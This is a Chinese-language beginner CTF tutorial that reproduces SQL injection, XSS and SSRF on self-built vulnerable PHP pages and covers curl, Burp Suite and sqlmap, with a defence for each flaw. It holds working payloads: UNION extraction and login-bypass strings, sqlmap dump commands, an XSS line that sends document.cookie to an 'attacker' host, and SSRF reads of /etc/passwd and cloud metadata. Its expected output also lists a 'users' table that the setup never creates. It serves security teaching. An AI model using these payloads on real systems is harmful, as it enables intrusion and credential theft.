CTF Web 入门:必学漏洞与基础工具

完整复现 SQL 注入、XSS、SSRF 三个漏洞:环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。
一、开始之前:HTTP 请求到底是什么
Web 题目就是一个网站,解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL:
curl -v "http://127.0.0.1:8000/index.php?id=1"
-v 会显示完整过程,输出示例:
> GET /index.php?id=1 HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/8.0.1
>
< HTTP/1.1 200 OK
< Content-Type: text/html
<
<h1>文章标题</h1>
解释:
| 部分 | 含义 |
|---|---|
GET /index.php?id=1 | 方法 GET,路径 /index.php,参数 id=1 |
Host | 目标主机 |
HTTP/1.1 200 OK | 协议版本与状态码,200 表示成功 |
| 正文 | 服务器返回的 HTML |
Web 漏洞几乎都源于一件事:参数 id 是用户可控的,服务器却直接把它拼进了 SQL、命令、HTML 或模板。下面三个漏洞都是这个原因。
二、环境准备:先搭一个能打的靶场
推荐 sqli-labs(专练 SQL 注入)和 DVWA(综合靶场)。在 Linux(Kali/Ubuntu)上:
# 方式一:源码部署(需要 PHP + MySQL)
apt install php php-mysql mariadb-server
git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
php -S 127.0.0.1:8000 # 启动后浏览器访问,点 Setup/reset Database
# 方式二:Docker 部署(最简单)
docker pull tavenli/sqli-labs
docker run -d -p 8000:80 tavenli/sqli-labs
本文的示例都基于"自建的最小页面",因为自建页面能完整看到源码,理解更透彻。下一节开始逐步搭建。
三、核心漏洞 1:SQL 注入(完整复现)
3.1 平台与代码
平台:Linux + PHP + MySQL。
第一步,建数据库。在 MySQL 里执行:
CREATE DATABASE ctf;
USE ctf;
CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));
INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');
CREATE TABLE flag (flag VARCHAR(100));
INSERT INTO flag VALUES ('flag{sql_injection}');
第二步,写漏洞页面 vuln.php:
<?php
$conn = new mysqli("localhost", "root", "password", "ctf");
// 上面的 mysqli 构造函数:参数依次是数据库主机、用户名、密码、库名;
// 返回值是数据库连接对象,后面所有查询都通过它执行。
$id = $_GET['id'];
// 从 URL 查询参数中取出 id(例如访问 ?id=1 时这里得到字符串 "1")。
// 注意:$_GET 拿到的永远是字符串,且完全由用户控制。
$sql = "SELECT id, title, content FROM articles WHERE id = " . $id;
// 关键漏洞行:用字符串拼接把 $id 直接塞进 SQL 语句。
// 如果 $id 是 "1 OR 1=1",这条语句就变成
// SELECT ... WHERE id = 1 OR 1=1,条件恒真,会返回全部记录。
$result = $conn->query($sql);
// 把拼好的 SQL 字符串发给 MySQL 执行;$result 是结果集对象。
while ($row = $result->fetch_assoc()) {
// fetch_assoc() 每次取出一行,返回关联数组,例如 ['id'=>1, 'title'=>'hello', ...]
// 取不到更多行时返回 null,while 结束。
echo $row['id'] . " " . $row['title'] . " " . $row['content'] . "<br>";
// 把每行的三个字段拼起来输出到页面,攻击者靠这些输出判断查询结果。
}
?>
第三步,启动:
php -S 127.0.0.1:8000
3.2 正常请求
输入:
curl "http://127.0.0.1:8000/vuln.php?id=1"
预期输出:
1 hello world
3.3 判断注入点(三步)
目的:确认 id 参数确实能被拼进 SQL 并影响查询逻辑,而不是被框架做了过滤。
思路:如果注入成立,那么:① 单引号会破坏 SQL 语法导致报错;② 追加 AND 1=1(恒真)页面正常;③ 追加 AND 1=2(恒假)查询结果为空。三者同时满足即可判定。
验证方式:逐条发送以下三个请求,对比输出。
输入 1:
curl "http://127.0.0.1:8000/vuln.php?id=1'"
# 目的:在 id 后追加一个单引号,观察是否报错。
# 若语句变成 SELECT ... WHERE id = 1',SQL 语法不完整,MySQL 会报错。
# 报错 = 输入确实进入了 SQL 语句(注入点存在的第一个证据)。
预期输出:SQL 语法错误,例如:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...
这说明我们的单引号进入了 SQL 语句并破坏了语法。
输入 2:
curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=1"
# 目的:验证"能改变查询条件"。1=1 恒真,若正常返回说明拼接生效。
# 输出应为 1 hello world,与 id=1 相同,说明 AND 部分被执行。
预期输出:1 hello world(条件为真,正常返回)。
输入 3:
curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=2"
# 目的:验证"条件为假时结果为空"。1=2 恒假,正常应无输出。
# 输出为空 = 我们的输入确实参与 WHERE 判断,注入点最终确认。
预期输出:空(条件为假,查不到数据)。
三个结果合起来:单引号报错、1=1 正常、1=2 为空 → 注入点确认。
3.4 利用:UNION 拖数据
目的:在确认注入后,把数据库里的表结构和数据"借"UNION 查询显示到页面上。
思路:UNION 可以把两个 SELECT 的结果合并输出,但要求两边列数相同,且第一个查询最好返回空(用不存在的 id=-1),这样页面显示的就是我们构造的第二个查询。因此先数列数,再确定哪一列会回显,最后把要查的内容(库名、表名、flag)放到回显列上。
第一步,确定列数:
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1"
# ORDER BY N 表示按第 N 列排序;列数 >= N 时正常,超出时报错。
# 依次尝试 N=1,2,3 都正常,N=4 报错,说明该查询恰好有 3 列。
第二步,确认哪一列会回显:
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+"
# id=-1:让第一个查询查不到任何记录,这样 UNION 只显示我们构造的部分。
# SELECT 1,2,3:与原来 3 列对齐;数字 2、3 会显示在页面上,说明这两个位置可回显数据。
# --+:URL 解码后为 "-- ",即 SQL 注释,把原查询后面的代码注释掉。
预期输出:2 3(数字 1 不显示,2、3 的位置可以显示内容)。
第三步,查数据库名:
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+"
# database() 是 MySQL 函数,返回当前数据库名;放到第 2 列(回显位)即可看到。
# 预期输出 ctf,这一步是为了确认我们在哪个库里,便于后面精确指定表名。
预期输出:ctf。
第四步,查表名:
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+"
# information_schema.tables:MySQL 自带的元数据表,记录所有表名。
# WHERE table_schema=database():只筛当前库的表。
# group_concat(table_name):把多行表名拼成一行逗号分隔,方便一次性输出。
# 预期输出 articles,flag,users —— 看到 flag 表,猜测 flag 就存在这里。
预期输出:articles,flag,users。
第五步,拿 flag:
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+"
# 上一步猜出 flag 表,这一步直接查它:SELECT 1,flag,3 表示从 flag 表取 flag 列。
# 如果表名或列名猜错会报错,可回头用 information_schema.columns 查列名再试。
# 预期输出 flag{sql_injection},即本题的答案。
预期输出:flag{sql_injection}。
说明:
id=-1:让第一个查询返回空,UNION 的结果才显示第二个查询。--+:URL 中解码后是--,即 SQL 注释,把后面代码注释掉。group_concat:把多行拼成一行,方便一次性输出。
3.5 防御:参数化查询
$stmt = $pdo->prepare("SELECT id, title, content FROM articles WHERE id = ?");
$stmt->execute([$_GET['id']]);
此时输入 1 OR 1=1 只会被当作字符串 '1 OR 1=1' 去比较,不会改变语句结构。
四、核心漏洞 2:XSS(完整复现)
目的:理解"用户输入被当 HTML/JS 输出"这一漏洞,以及如何构造验证。
思路:页面把 name 原样输出。如果我们传 <script>alert(1)</script>,浏览器会把它当脚本执行。判断方法:先看响应是否原样包含 <script> 标签(用 curl),再用浏览器确认脚本真的执行。
4.1 平台与代码
任意 Web 应用。示例 xss.php:
<?php echo "你好," . $_GET['name'] . "!"; ?>
4.2 正常请求
curl "http://127.0.0.1:8000/xss.php?name=alice"
输出:你好,alice!。
4.3 注入脚本
curl "http://127.0.0.1:8000/xss.php?name=<script>alert(1)</script>"
输出:
你好,
<script>
alert(1)
</script>
!
浏览器会把 <script> 当作代码执行。curl 只是看响应,要看到效果需要用浏览器打开该 URL。
4.4 危害演示:偷 Cookie
攻击者构造 URL:
http://127.0.0.1:8000/xss.php?name=
<script>
fetch('http://attacker/?c=' + document.cookie)
</script>
受害者打开后,浏览器会把受害者的 Cookie 发到 attacker 服务器。攻击者拿到 Cookie 即可冒充登录。
4.5 防御:输出编码
输出前把危险字符转义:
| 原始字符 | 转义后 |
|---|---|
< | < |
> | > |
" | " |
' | ' |
& | & |
PHP 用 htmlspecialchars(),或使用默认转义的框架(Vue、React 默认转义插值)。
五、核心漏洞 3:SSRF(完整复现)
目的:理解"服务器根据用户输入发起请求"造成的危害,以及如何验证。
思路:file_get_contents($url) 会按 $url 的协议去读内容。协议决定能力:file:// 读本地文件,http:// 访问内网,gopher:// 与内网 TCP 服务交互。验证方式:依次换三种协议,看响应内容。
5.1 平台与代码
具有"URL 处理"功能的应用。示例 ssrf.php:
<?php
echo file_get_contents($_GET['url']);
// file_get_contents() 的作用:按参数中的 URL 把内容读成字符串。
// 参数含义:$_GET['url'] 是用户可控的目标地址。
// 危险点:服务器会以自身身份访问该地址,可能读到本机文件或内网服务。
?>
5.2 读本地文件
curl "http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd"
# file:// 是本地文件协议;file:///etc/passwd 表示读取服务器上的 /etc/passwd。
# 预期输出是 passwd 内容(root:x:0:0:...)。
# 若输出为空,可能被防护拦截,可尝试 file:///etc/hosts、file:///flag 等路径。
预期输出:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
5.3 探测内网端口
curl "http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306"
# http://127.0.0.1:3306 让服务器尝试连接本机 3306(MySQL 默认端口)。
# 端口关闭:请求报错或超时;端口开放:返回协议握手数据或错误信息。
# 通过逐个尝试端口,可以绘制内网服务清单。
输出为空或超时说明端口关闭;出现 MySQL 协议内容说明 3306 开放。
5.4 访问云元数据
curl "http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/"
# 169.254.169.254 是云平台(AWS、阿里云等)的元数据服务地址。
# 若题目跑在云服务器上且未做内网拦截,这里会返回临时凭证/配置信息。
# 这是 SSRF 最经典的"打云"利用点,拿到凭证后可能进一步控制资源。
云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。
5.5 防御
$allowed = ['https', 'http'];
$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);
if (!in_array($scheme, $allowed)) die("not allowed");
// 并检查主机是否属于内网段(127.0.0.0/8、10.0.0.0/8、169.254.169.254 等)
六、必学工具 1:curl
三个核心功能,逐个演示。
功能 1:带参数 GET。
curl "http://127.0.0.1:8000/vuln.php?id=1"
输出:1 hello world。
功能 2:查看完整请求与响应(-v)。
curl -v "http://127.0.0.1:8000/vuln.php?id=1"
# -v(verbose)会输出完整过程:> 开头是请求行与请求头,
# < 开头是响应行与响应头,最后是正文。
# 用途:确认服务器实际收到的请求(比如看 User-Agent、Cookie 是否带上)。
输出中 > 开头的是请求,< 开头的是响应,最下面是正文。
功能 3:POST 数据(-d)。
curl -X POST "http://127.0.0.1:8000/login.php" -d "username=admin&password=123"
用于登录、上传等需要 POST 的场景。
七、必学工具 2:Burp Suite
图形化抓包改包工具(社区版免费)。三个核心模块:
| 模块 | 用途 | 操作步骤 |
|---|---|---|
| Proxy | 拦截请求 | 浏览器设置代理 127.0.0.1:8080,安装 Burp 证书;访问目标时请求停在 Burp,可修改后 Forward |
| Repeater | 手工重放 | 拦截到的请求右键 → Send to Repeater;修改参数 → Send,右侧看响应,可反复对比 |
| Intruder | 自动化遍历 | 请求中选中要爆破的参数,Add § 标记,加载字典,Start Attack,按响应长度排序找异常 |
用途对应:Repeater 调试 payload,Intruder 爆破密码或枚举 id,Proxy 观察真实请求。
八、必学工具 3:sqlmap
SQL 注入自动化工具。三个核心命令:
命令 1:检测。
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --batch
预期输出(节选):
Parameter: id (GET)
Type: boolean-based blind
Type: UNION query
命令 2:列数据库。
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --dbs
预期输出:数据库列表,包含 ctf。
命令 3:导出数据。
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" -D ctf -T flag --dump
预期输出:flag 表内容,即 flag{sql_injection}。
九、小 CTF 实战:登录绕过
题目:登录页 login.php,源码:
$user = $_POST['user'];
$pass = $_POST['pass'];
$sql = "SELECT * FROM users WHERE username='" . $user . "' AND password='" . $pass . "'";
第一步:正常登录失败
目的:先建立"正常请求"的基线,确认接口参数名(user/pass)和失败时的输出特征。
curl -X POST "http://target/login.php" --data "user=admin&pass=wrong"
输出:Login failed。
第二步:构造绕过
思路:观察源码 WHERE username='...' AND password='...',猜测我们可以在用户名里"提前闭合单引号并用注释吃掉后半句"。这样密码校验被注释掉,只要用户存在即可登录。
验证方式:发送 payload 后看是否从 Login failed 变成成功页面;若失败,尝试 admin'#、admin'-- 等不同注释符(MySQL 支持 -- 与 #)。
输入:
curl -X POST "http://target/login.php" --data "user=admin'--+&pass=wrong"
实际执行的 SQL:
SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'
-- 注释掉密码部分。预期输出:Login success 和 flag。
为什么能成功:数据库中确实存在 admin 用户,查询 WHERE username='admin' 就能命中一行;命中即视为登录成功。
第三步:sqlmap 验证
目的:用工具确认手工结论,同时自动探测其他注入点。
sqlmap -u "http://target/login.php" --data "user=a&pass=b" --batch
# --data 指定 POST 请求体;sqlmap 会分别对 user、pass 两个参数测试注入。
# --batch 表示全程自动选择默认选项,不需要人工确认。
# 预期输出:报告 Parameter: user (POST) 存在注入。
预期输出:报告 Parameter: user (POST) 存在注入。
十、小结
Web 入门只需要掌握:参数不可信;SQLi/XSS/SSRF 的复现与检测;curl、Burp、sqlmap 三个工具的核心用法。